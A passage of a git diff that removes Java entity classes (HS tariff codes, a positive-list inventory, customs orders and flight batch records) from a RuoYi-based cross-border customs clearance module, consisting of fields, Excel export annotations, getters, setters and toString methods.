"航空公司") - private String airline; - /** 起运国 */ - @Excel(name = "起运国") - private String departureCountry; - /** 始发城市 */ - @Excel(name = "始发城市") - private String departureCity; - /** 始发机场 */ - @Excel(name = "始发机场") - private String departureAirport; - /** 中转机场 */ - @Excel(name = "中转机场") - private String transitAirport; - /** 到达机场 */ - @Excel(name = "到达机场") - private String arriveAirport; - /** 航班号 */ - @Excel(name = "航班号") - private String flightNumber; - /** 是否直航 */ - @Excel(name = "是否直航") - private Integer isDirectFlight; - /** 是否我司订舱 */ - @Excel(name = "是否我司订舱") - private Integer isOurBooking; - /** 出发时间(当地) */ - @Excel(name = "出发时间", readConverterExp = "当=地") - private Date departureLocalTime; - /** 出发时间(北京) */ - @Excel(name = "出发时间", readConverterExp = "北=京") - private Date departureTime; - /** 到达时间(北京) */ - @Excel(name = "到达时间", readConverterExp = "北=京") - private Date arriveTime; - /** 实际到达时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "实际到达时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date actualArriveTime; - /** 托盘数 */ - @Excel(name = "托盘数") - private Integer trayNumber; - /** 包裹数 */ - @Excel(name = "包裹数") - private Integer packageNumber; - /** 总重量(KG) */ - @Excel(name = "总重量", readConverterExp = "K=G") - private BigDecimal weight; - /** 计费重量(KG) */ - @Excel(name = "计费重量", readConverterExp = "K=G") - private BigDecimal chargeableWeight; - /** 总体积(立方米) */ - @Excel(name = "总体积", readConverterExp = "立=方米") - private BigDecimal volume; - /** 备注 */ - @Excel(name = "备注") - private String remark; - /** 添加时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "添加时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date addTime; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setWarehouseId(Long warehouseId) - { - this.warehouseId = warehouseId; - } - - public Long getWarehouseId() - { - return warehouseId; - } - public void setDeclarePortId(Long declarePortId) - { - this.declarePortId = declarePortId; - } - - public Long getDeclarePortId() - { - return declarePortId; - } - public void setMode(Integer mode) - { - this.mode = mode; - } - - public Integer getMode() - { - return mode; - } - public void setBatchNumber(String batchNumber) - { - this.batchNumber = batchNumber; - } - - public String getBatchNumber() - { - return batchNumber; - } - public void setDeliveryNumber(String deliveryNumber) - { - this.deliveryNumber = deliveryNumber; - } - - public String getDeliveryNumber() - { - return deliveryNumber; - } - public void setTrafMode(Integer trafMode) - { - this.trafMode = trafMode; - } - - public Integer getTrafMode() - { - return trafMode; - } - public void setAirline(String airline) - { - this.airline = airline; - } - - public String getAirline() - { - return airline; - } - public void setDepartureCountry(String departureCountry) - { - this.departureCountry = departureCountry; - } - - public String getDepartureCountry() - { - return departureCountry; - } - public void setDepartureCity(String departureCity) - { - this.departureCity = departureCity; - } - - public String getDepartureCity() - { - return departureCity; - } - public void setDepartureAirport(String departureAirport) - { - this.departureAirport = departureAirport; - } - - public String getDepartureAirport() - { - return departureAirport; - } - public void setTransitAirport(String transitAirport) - { - this.transitAirport = transitAirport; - } - - public String getTransitAirport() - { - return transitAirport; - } - public void setArriveAirport(String arriveAirport) - { - this.arriveAirport = arriveAirport; - } - - public String getArriveAirport() - { - return arriveAirport; - } - public void setFlightNumber(String flightNumber) - { - this.flightNumber = flightNumber; - } - - public String getFlightNumber() - { - return flightNumber; - } - public void setIsDirectFlight(Integer isDirectFlight) - { - this.isDirectFlight = isDirectFlight; - } - - public Integer getIsDirectFlight() - { - return isDirectFlight; - } - public void setIsOurBooking(Integer isOurBooking) - { - this.isOurBooking = isOurBooking; - } - - public Integer getIsOurBooking() - { - return isOurBooking; - } - public void setDepartureLocalTime(Date departureLocalTime) - { - this.departureLocalTime = departureLocalTime; - } - - public Date getDepartureLocalTime() - { - return departureLocalTime; - } - public void setDepartureTime(Date departureTime) - { - this.departureTime = departureTime; - } - - public Date getDepartureTime() - { - return departureTime; - } - public void setArriveTime(Date arriveTime) - { - this.arriveTime = arriveTime; - } - - public Date getArriveTime() - { - return arriveTime; - } - public void setActualArriveTime(Date actualArriveTime) - { - this.actualArriveTime = actualArriveTime; - } - - public Date getActualArriveTime() - { - return actualArriveTime; - } - public void setTrayNumber(Integer trayNumber) - { - this.trayNumber = trayNumber; - } - - public Integer getTrayNumber() - { - return trayNumber; - } - public void setPackageNumber(Integer packageNumber) - { - this.packageNumber = packageNumber; - } - - public Integer getPackageNumber() - { - return packageNumber; - } - public void setWeight(BigDecimal weight) - { - this.weight = weight; - } - - public BigDecimal getWeight() - { - return weight; - } - public void setChargeableWeight(BigDecimal chargeableWeight) - { - this.chargeableWeight = chargeableWeight; - } - - public BigDecimal getChargeableWeight() - { - return chargeableWeight; - } - public void setVolume(BigDecimal volume) - { - this.volume = volume; - } - - public BigDecimal getVolume() - { - return volume; - } - public void setRemark(String remark) - { - this.remark = remark; - } - - public String getRemark() - { - return remark; - } - public void setAddTime(Date addTime) - { - this.addTime = addTime; - } - - public Date getAddTime() - { - return addTime; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("userId", getUserId()) - .append("warehouseId", getWarehouseId()) - .append("declarePortId", getDeclarePortId()) - .append("mode", getMode()) - .append("batchNumber", getBatchNumber()) - .append("deliveryNumber", getDeliveryNumber()) - .append("trafMode", getTrafMode()) - .append("airline", getAirline()) - .append("departureCountry", getDepartureCountry()) - .append("departureCity", getDepartureCity()) - .append("departureAirport", getDepartureAirport()) - .append("transitAirport", getTransitAirport()) - .append("arriveAirport", getArriveAirport()) - .append("flightNumber", getFlightNumber()) - .append("isDirectFlight", getIsDirectFlight()) - .append("isOurBooking", getIsOurBooking()) - .append("departureLocalTime", getDepartureLocalTime()) - .append("departureTime", getDepartureTime()) - .append("arriveTime", getArriveTime()) - .append("actualArriveTime", getActualArriveTime()) - .append("trayNumber", getTrayNumber()) - .append("packageNumber", getPackageNumber()) - .append("weight", getWeight()) - .append("chargeableWeight", getChargeableWeight()) - .append("volume", getVolume()) - .append("remark", getRemark()) - .append("addTime", getAddTime()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomHsCode.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomHsCode.java deleted file mode 100644 index 9f379f3..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomHsCode.java +++ /dev/null @@ -1,207 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.math.BigDecimal; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * HS编码对象 custom_hs_code - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomHsCode extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - - /** 编码 */ - @Excel(name = "编码") - private String code; - - /** 名称 */ - @Excel(name = "名称") - private String name; - - /** 许可证代码 */ - @Excel(name = "许可证代码") - private String licenseCode; - - /** 普通税率 */ - @Excel(name = "普通税率") - private BigDecimal generalTaxRate; - - /** 优惠税率 */ - @Excel(name = "优惠税率") - private BigDecimal preferentialTaxRate; - - /** 出口税率 */ - @Excel(name = "出口税率") - private BigDecimal exportTaxRate; - - /** 消费税率 */ - @Excel(name = "消费税率") - private BigDecimal consumptionTaxRate; - - /** 增值税率 */ - @Excel(name = "增值税率") - private BigDecimal vatRate; - - /** 第一法定单位 */ - @Excel(name = "第一法定单位") - private String firstLegalUnit; - - /** 第二法定单位 */ - @Excel(name = "第二法定单位") - private String secondLegalUnit; - - /** 申报要素 */ - @Excel(name = "申报要素") - private String declareReason; - - /** 是否存在正面清单 */ - @Excel(name = "是否存在正面清单") - private Integer isExistInventory; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setLicenseCode(String licenseCode) - { - this.licenseCode = licenseCode; - } - - public String getLicenseCode() - { - return licenseCode; - } - public void setGeneralTaxRate(BigDecimal generalTaxRate) - { - this.generalTaxRate = generalTaxRate; - } - - public BigDecimal getGeneralTaxRate() - { - return generalTaxRate; - } - public void setPreferentialTaxRate(BigDecimal preferentialTaxRate) - { - this.preferentialTaxRate = preferentialTaxRate; - } - - public BigDecimal getPreferentialTaxRate() - { - return preferentialTaxRate; - } - public void setExportTaxRate(BigDecimal exportTaxRate) - { - this.exportTaxRate = exportTaxRate; - } - - public BigDecimal getExportTaxRate() - { - return exportTaxRate; - } - public void setConsumptionTaxRate(BigDecimal consumptionTaxRate) - { - this.consumptionTaxRate = consumptionTaxRate; - } - - public BigDecimal getConsumptionTaxRate() - { - return consumptionTaxRate; - } - public void setVatRate(BigDecimal vatRate) - { - this.vatRate = vatRate; - } - - public BigDecimal getVatRate() - { - return vatRate; - } - public void setFirstLegalUnit(String firstLegalUnit) - { - this.firstLegalUnit = firstLegalUnit; - } - - public String getFirstLegalUnit() - { - return firstLegalUnit; - } - public void setSecondLegalUnit(String secondLegalUnit) - { - this.secondLegalUnit = secondLegalUnit; - } - - public String getSecondLegalUnit() - { - return secondLegalUnit; - } - public void setDeclareReason(String declareReason) - { - this.declareReason = declareReason; - } - - public String getDeclareReason() - { - return declareReason; - } - public void setIsExistInventory(Integer isExistInventory) - { - this.isExistInventory = isExistInventory; - } - - public Integer getIsExistInventory() - { - return isExistInventory; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("code", getCode()) - .append("name", getName()) - .append("licenseCode", getLicenseCode()) - .append("generalTaxRate", getGeneralTaxRate()) - .append("preferentialTaxRate", getPreferentialTaxRate()) - .append("remark", getRemark()) - .append("exportTaxRate", getExportTaxRate()) - .append("consumptionTaxRate", getConsumptionTaxRate()) - .append("vatRate", getVatRate()) - .append("firstLegalUnit", getFirstLegalUnit()) - .append("secondLegalUnit", getSecondLegalUnit()) - .append("declareReason", getDeclareReason()) - .append("isExistInventory", getIsExistInventory()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomHsCodePlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomHsCodePlus.java deleted file mode 100644 index 1810f34..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomHsCodePlus.java +++ /dev/null @@ -1,209 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.math.BigDecimal; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * HS编码对象 custom_hs_code - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_hs_code") -public class CustomHsCodePlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - /** 编码 */ - @Excel(name = "编码") - private String code; - /** 名称 */ - @Excel(name = "名称") - private String name; - /** 许可证代码 */ - @Excel(name = "许可证代码") - private String licenseCode; - /** 普通税率 */ - @Excel(name = "普通税率") - private BigDecimal generalTaxRate; - /** 优惠税率 */ - @Excel(name = "优惠税率") - private BigDecimal preferentialTaxRate; - /** 备注 */ - @Excel(name = "备注") - private String remark; - /** 出口税率 */ - @Excel(name = "出口税率") - private BigDecimal exportTaxRate; - /** 消费税率 */ - @Excel(name = "消费税率") - private BigDecimal consumptionTaxRate; - /** 增值税率 */ - @Excel(name = "增值税率") - private BigDecimal vatRate; - /** 第一法定单位 */ - @Excel(name = "第一法定单位") - private String firstLegalUnit; - /** 第二法定单位 */ - @Excel(name = "第二法定单位") - private String secondLegalUnit; - /** 申报要素 */ - @Excel(name = "申报要素") - private String declareReason; - /** 是否存在正面清单 */ - @Excel(name = "是否存在正面清单") - private Integer isExistInventory; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setLicenseCode(String licenseCode) - { - this.licenseCode = licenseCode; - } - - public String getLicenseCode() - { - return licenseCode; - } - public void setGeneralTaxRate(BigDecimal generalTaxRate) - { - this.generalTaxRate = generalTaxRate; - } - - public BigDecimal getGeneralTaxRate() - { - return generalTaxRate; - } - public void setPreferentialTaxRate(BigDecimal preferentialTaxRate) - { - this.preferentialTaxRate = preferentialTaxRate; - } - - public BigDecimal getPreferentialTaxRate() - { - return preferentialTaxRate; - } - public void setRemark(String remark) - { - this.remark = remark; - } - - public String getRemark() - { - return remark; - } - public void setExportTaxRate(BigDecimal exportTaxRate) - { - this.exportTaxRate = exportTaxRate; - } - - public BigDecimal getExportTaxRate() - { - return exportTaxRate; - } - public void setConsumptionTaxRate(BigDecimal consumptionTaxRate) - { - this.consumptionTaxRate = consumptionTaxRate; - } - - public BigDecimal getConsumptionTaxRate() - { - return consumptionTaxRate; - } - public void setVatRate(BigDecimal vatRate) - { - this.vatRate = vatRate; - } - - public BigDecimal getVatRate() - { - return vatRate; - } - public void setFirstLegalUnit(String firstLegalUnit) - { - this.firstLegalUnit = firstLegalUnit; - } - - public String getFirstLegalUnit() - { - return firstLegalUnit; - } - public void setSecondLegalUnit(String secondLegalUnit) - { - this.secondLegalUnit = secondLegalUnit; - } - - public String getSecondLegalUnit() - { - return secondLegalUnit; - } - public void setDeclareReason(String declareReason) - { - this.declareReason = declareReason; - } - - public String getDeclareReason() - { - return declareReason; - } - public void setIsExistInventory(Integer isExistInventory) - { - this.isExistInventory = isExistInventory; - } - - public Integer getIsExistInventory() - { - return isExistInventory; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("code", getCode()) - .append("name", getName()) - .append("licenseCode", getLicenseCode()) - .append("generalTaxRate", getGeneralTaxRate()) - .append("preferentialTaxRate", getPreferentialTaxRate()) - .append("remark", getRemark()) - .append("exportTaxRate", getExportTaxRate()) - .append("consumptionTaxRate", getConsumptionTaxRate()) - .append("vatRate", getVatRate()) - .append("firstLegalUnit", getFirstLegalUnit()) - .append("secondLegalUnit", getSecondLegalUnit()) - .append("declareReason", getDeclareReason()) - .append("isExistInventory", getIsExistInventory()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomInventory.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomInventory.java deleted file mode 100644 index 1b50b4c..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomInventory.java +++ /dev/null @@ -1,66 +0,0 @@ -package com.ruoyi.custom.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 正面清单对象 custom_inventory - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomInventory extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - - /** 名称 */ - @Excel(name = "名称") - private String name; - - /** 编码 */ - @Excel(name = "编码") - private String code; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("code", getCode()) - .append("remark", getRemark()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomInventoryPlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomInventoryPlus.java deleted file mode 100644 index f45b260..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomInventoryPlus.java +++ /dev/null @@ -1,78 +0,0 @@ -package com.ruoyi.custom.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 正面清单对象 custom_inventory - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_inventory") -public class CustomInventoryPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - /** 名称 */ - @Excel(name = "名称") - private String name; - /** 编码 */ - @Excel(name = "编码") - private String code; - /** 备注 */ - @Excel(name = "备注") - private String remark; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setRemark(String remark) - { - this.remark = remark; - } - - public String getRemark() - { - return remark; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("code", getCode()) - .append("remark", getRemark()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomOrder.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomOrder.java deleted file mode 100644 index 16e0092..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomOrder.java +++ /dev/null @@ -1,758 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.math.BigDecimal; -import java.util.List; -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 备案订单对象 custom_order - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomOrder extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - - /** 口岸Id */ - @Excel(name = "口岸Id") - private Long declarePortId; - - /** 仓库Id */ - @Excel(name = "仓库Id") - private Long warehouseId; - - /** 清关方式:1、保税;2、直邮;3、个人 */ - @Excel(name = "清关方式:1、保税;2、直邮;3、个人") - private Integer mode; - - /** 用户id */ - @Excel(name = "用户id") - private Long userId; - - /** 系统订单号 */ - @Excel(name = "系统订单号") - private String sOrderNo; - - /** 申报订单号(商城订单号) */ - @Excel(name = "申报订单号", readConverterExp = "商=城订单号") - private String declareOrderNo; - - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - /** 快递公司 */ - @Excel(name = "快递公司") - private String expressName; - - /** 运单号 */ - @Excel(name = "运单号") - private String shipOrderNumber; - - /** 购买人注册号 */ - @Excel(name = "购买人注册号") - private String buyerRegNo; - - /** 购买人 */ - @Excel(name = "购买人") - private String buyerName; - - /** 购买人电话 */ - @Excel(name = "购买人电话") - private String buyerTelephone; - - /** 购买人身份证类型:1-身份证,2-其它,3-军官证,4-护照。 */ - @Excel(name = "购买人身份证类型:1-身份证,2-其它,3-军官证,4-护照。") - private Integer buyerIdType; - - /** 购买人身份证 */ - @Excel(name = "购买人身份证") - private String buyerIdNumber; - - /** 收件人 */ - @Excel(name = "收件人") - private String consignee; - - /** 收件人电话 */ - @Excel(name = "收件人电话") - private String consigneeTelephone; - - /** 收件人地址 */ - @Excel(name = "收件人地址") - private String consigneeAddress; - - /** 收件人省 */ - @Excel(name = "收件人省") - private String consigneeProvince; - - /** 收件人市 */ - @Excel(name = "收件人市") - private String consigneeCity; - - /** 收件人区 */ - @Excel(name = "收件人区") - private String consigneeDistrict; - - /** $column.columnComment */ - @Excel(name = "收件人区") - private BigDecimal totalAmount; - - /** 非现金抵扣金额 */ - @Excel(name = "非现金抵扣金额") - private BigDecimal discountAmount; - - /** 实际支付金额 */ - @Excel(name = "实际支付金额") - private BigDecimal payTotalAmount; - - /** 税费 */ - @Excel(name = "税费") - private BigDecimal taxTotalAmount; - - /** 商城税费 */ - @Excel(name = "商城税费") - private BigDecimal shopTaxTotalAmount; - - /** 运费 */ - @Excel(name = "运费") - private BigDecimal freightAmount; - - /** 总毛重 */ - @Excel(name = "总毛重") - private BigDecimal totalGrossWeight; - - /** 总净重 */ - @Excel(name = "总净重") - private BigDecimal totalNetWeight; - - /** 总数量 */ - @Excel(name = "总数量") - private Integer totalQuantity; - - /** 支付公司名称 */ - @Excel(name = "支付公司名称") - private String payName; - - /** 支付公司代码 */ - @Excel(name = "支付公司代码") - private String payCode; - - /** 支付时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "支付时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date payTime; - - /** 支付单号 */ - @Excel(name = "支付单号") - private String gatewayOrderId; - - /** 发件人 */ - @Excel(name = "发件人") - private String consignor; - - /** 发件人地址 */ - @Excel(name = "发件人地址") - private String consignorAddress; - - /** 发件人电话 */ - @Excel(name = "发件人电话") - private String consignorTelephone; - - /** 发件人所在国 */ - @Excel(name = "发件人所在国") - private String consignorCountry; - - /** 发件人省 */ - @Excel(name = "发件人省") - private String consignorProvince; - - /** 发件人市 */ - @Excel(name = "发件人市") - private String consignorCity; - - /** $column.columnComment */ - @Excel(name = "发件人市") - private String consignorDistrict; - - /** 收款账户 */ - @Excel(name = "收款账户") - private String receiptAccount; - - /** 验核机构:1-银联 2-网联 3-其他 */ - @Excel(name = "验核机构:1-银联 2-网联 3-其他") - private Integer verDept; - - /** 支付类型:1-APP 2-PC 3-扫码 4-其他 */ - @Excel(name = "支付类型:1-APP 2-PC 3-扫码 4-其他") - private Integer payType; - - /** 支付原始请求 */ - @Excel(name = "支付原始请求") - private String initalRequest; - - /** 支付原始响应 */ - @Excel(name = "支付原始响应") - private String initalResponse; - - /** 接口信息返回结果 */ - @Excel(name = "接口信息返回结果") - private String expressReturn; - - /** 订单处理过程 */ - @Excel(name = "订单处理过程") - private String process; - - /** 添加时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "添加时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date addTime; - - /** 清单编号 */ - @Excel(name = "清单编号") - private String inventoryNo; - - /** 批次号 */ - @Excel(name = "批次号") - private String batchNumber; - - /** 备案订单项信息 */ - private List customOrderItemList; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setDeclarePortId(Long declarePortId) - { - this.declarePortId = declarePortId; - } - - public Long getDeclarePortId() - { - return declarePortId; - } - public void setWarehouseId(Long warehouseId) - { - this.warehouseId = warehouseId; - } - - public Long getWarehouseId() - { - return warehouseId; - } - public void setMode(Integer mode) - { - this.mode = mode; - } - - public Integer getMode() - { - return mode; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setsOrderNo(String sOrderNo) - { - this.sOrderNo = sOrderNo; - } - - public String getsOrderNo() - { - return sOrderNo; - } - public void setDeclareOrderNo(String declareOrderNo) - { - this.declareOrderNo = declareOrderNo; - } - - public String getDeclareOrderNo() - { - return declareOrderNo; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setExpressName(String expressName) - { - this.expressName = expressName; - } - - public String getExpressName() - { - return expressName; - } - public void setShipOrderNumber(String shipOrderNumber) - { - this.shipOrderNumber = shipOrderNumber; - } - - public String getShipOrderNumber() - { - return shipOrderNumber; - } - public void setBuyerRegNo(String buyerRegNo) - { - this.buyerRegNo = buyerRegNo; - } - - public String getBuyerRegNo() - { - return buyerRegNo; - } - public void setBuyerName(String buyerName) - { - this.buyerName = buyerName; - } - - public String getBuyerName() - { - return buyerName; - } - public void setBuyerTelephone(String buyerTelephone) - { - this.buyerTelephone = buyerTelephone; - } - - public String getBuyerTelephone() - { - return buyerTelephone; - } - public void setBuyerIdType(Integer buyerIdType) - { - this.buyerIdType = buyerIdType; - } - - public Integer getBuyerIdType() - { - return buyerIdType; - } - public void setBuyerIdNumber(String buyerIdNumber) - { - this.buyerIdNumber = buyerIdNumber; - } - - public String getBuyerIdNumber() - { - return buyerIdNumber; - } - public void setConsignee(String consignee) - { - this.consignee = consignee; - } - - public String getConsignee() - { - return consignee; - } - public void setConsigneeTelephone(String consigneeTelephone) - { - this.consigneeTelephone = consigneeTelephone; - } - - public String getConsigneeTelephone() - { - return consigneeTelephone; - } - public void setConsigneeAddress(String consigneeAddress) - { - this.consigneeAddress = consigneeAddress; - } - - public String getConsigneeAddress() - { - return consigneeAddress; - } - public void setConsigneeProvince(String consigneeProvince) - { - this.consigneeProvince = consigneeProvince; - } - - public String getConsigneeProvince() - { - return consigneeProvince; - } - public void setConsigneeCity(String consigneeCity) - { - this.consigneeCity = consigneeCity; - } - - public String getConsigneeCity() - { - return consigneeCity; - } - public void setConsigneeDistrict(String consigneeDistrict) - { - this.consigneeDistrict = consigneeDistrict; - } - - public String getConsigneeDistrict() - { - return consigneeDistrict; - } - public void setTotalAmount(BigDecimal totalAmount) - { - this.totalAmount = totalAmount; - } - - public BigDecimal getTotalAmount() - { - return totalAmount; - } - public void setDiscountAmount(BigDecimal discountAmount) - { - this.discountAmount = discountAmount; - } - - public BigDecimal getDiscountAmount() - { - return discountAmount; - } - public void setPayTotalAmount(BigDecimal payTotalAmount) - { - this.payTotalAmount = payTotalAmount; - } - - public BigDecimal getPayTotalAmount() - { - return payTotalAmount; - } - public void setTaxTotalAmount(BigDecimal taxTotalAmount) - { - this.taxTotalAmount = taxTotalAmount; - } - - public BigDecimal getTaxTotalAmount() - { - return taxTotalAmount; - } - public void setShopTaxTotalAmount(BigDecimal shopTaxTotalAmount) - { - this.shopTaxTotalAmount = shopTaxTotalAmount; - } - - public BigDecimal getShopTaxTotalAmount() - { - return shopTaxTotalAmount; - } - public void setFreightAmount(BigDecimal freightAmount) - { - this.freightAmount = freightAmount; - } - - public BigDecimal getFreightAmount() - { - return freightAmount; - } - public void setTotalGrossWeight(BigDecimal totalGrossWeight) - { - this.totalGrossWeight = totalGrossWeight; - } - - public BigDecimal getTotalGrossWeight() - { - return totalGrossWeight; - } - public void setTotalNetWeight(BigDecimal totalNetWeight) - { - this.totalNetWeight = totalNetWeight; - } - - public BigDecimal getTotalNetWeight() - { - return totalNetWeight; - } - public void setTotalQuantity(Integer totalQuantity) - { - this.totalQuantity = totalQuantity; - } - - public Integer getTotalQuantity() - { - return totalQuantity; - } - public void setPayName(String payName) - { - this.payName = payName; - } - - public String getPayName() - { - return payName; - } - public void setPayCode(String payCode) - { - this.payCode = payCode; - } - - public String getPayCode() - { - return payCode; - } - public void setPayTime(Date payTime) - { - this.payTime = payTime; - } - - public Date getPayTime() - { - return payTime; - } - public void setGatewayOrderId(String gatewayOrderId) - { - this.gatewayOrderId = gatewayOrderId; - } - - public String getGatewayOrderId() - { - return gatewayOrderId; - } - public void setConsignor(String consignor) - { - this.consignor = consignor; - } - - public String getConsignor() - { - return consignor; - } - public void setConsignorAddress(String consignorAddress) - { - this.consignorAddress = consignorAddress; - } - - public String getConsignorAddress() - { - return consignorAddress; - } - public void setConsignorTelephone(String consignorTelephone) - { - this.consignorTelephone = consignorTelephone; - } - - public String getConsignorTelephone() - { - return consignorTelephone; - } - public void setConsignorCountry(String consignorCountry) - { - this.consignorCountry = consignorCountry; - } - - public String getConsignorCountry() - { - return consignorCountry; - } - public void setConsignorProvince(String consignorProvince) - { - this.consignorProvince = consignorProvince; - } - - public String getConsignorProvince() - { - return consignorProvince; - } - public void setConsignorCity(String consignorCity) - { - this.consignorCity = consignorCity; - } - - public String getConsignorCity() - { - return consignorCity; - } - public void setConsignorDistrict(String consignorDistrict) - { - this.consignorDistrict = consignorDistrict; - } - - public String getConsignorDistrict() - { - return consignorDistrict; - } - public void setReceiptAccount(String receiptAccount) - { - this.receiptAccount = receiptAccount; - } - - public String getReceiptAccount() - { - return receiptAccount; - } - public void setVerDept(Integer verDept) - { - this.verDept = verDept; - } - - public Integer getVerDept() - { - return verDept; - } - public void setPayType(Integer payType) - { - this.payType = payType; - } - - public Integer getPayType() - { - return payType; - } - public void setInitalRequest(String initalRequest) - { - this.initalRequest = initalRequest; - } - - public String getInitalRequest() - { - return initalRequest; - } - public void setInitalResponse(String initalResponse) - { - this.initalResponse = initalResponse; - } - - public String getInitalResponse() - { - return initalResponse; - } - public void setExpressReturn(String expressReturn) - { - this.expressReturn = expressReturn; - } - - public String getExpressReturn() - { - return expressReturn; - } - public void setProcess(String process) - { - this.process = process; - } - - public String getProcess() - { - return process; - } - public void setAddTime(Date addTime) - { - this.addTime = addTime; - } - - public Date getAddTime() - { - return addTime; - } - public void setInventoryNo(String inventoryNo) - { - this.inventoryNo = inventoryNo; - } - - public String getInventoryNo() - { - return inventoryNo; - } - public void setBatchNumber(String batchNumber) - { - this.batchNumber = batchNumber; - } - - public String getBatchNumber() - { - return batchNumber; - } - - public List getCustomOrderItemList() - { - return customOrderItemList; - } - - public void setCustomOrderItemList(List customOrderItemList) - { - this.customOrderItemList = customOrderItemList; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("declarePortId", getDeclarePortId()) - .append("warehouseId", getWarehouseId()) - .append("mode", getMode()) - .append("userId", getUserId()) - .append("sOrderNo", getsOrderNo()) - .append("declareOrderNo", getDeclareOrderNo()) - .append("status", getStatus()) - .append("expressName", getExpressName()) - 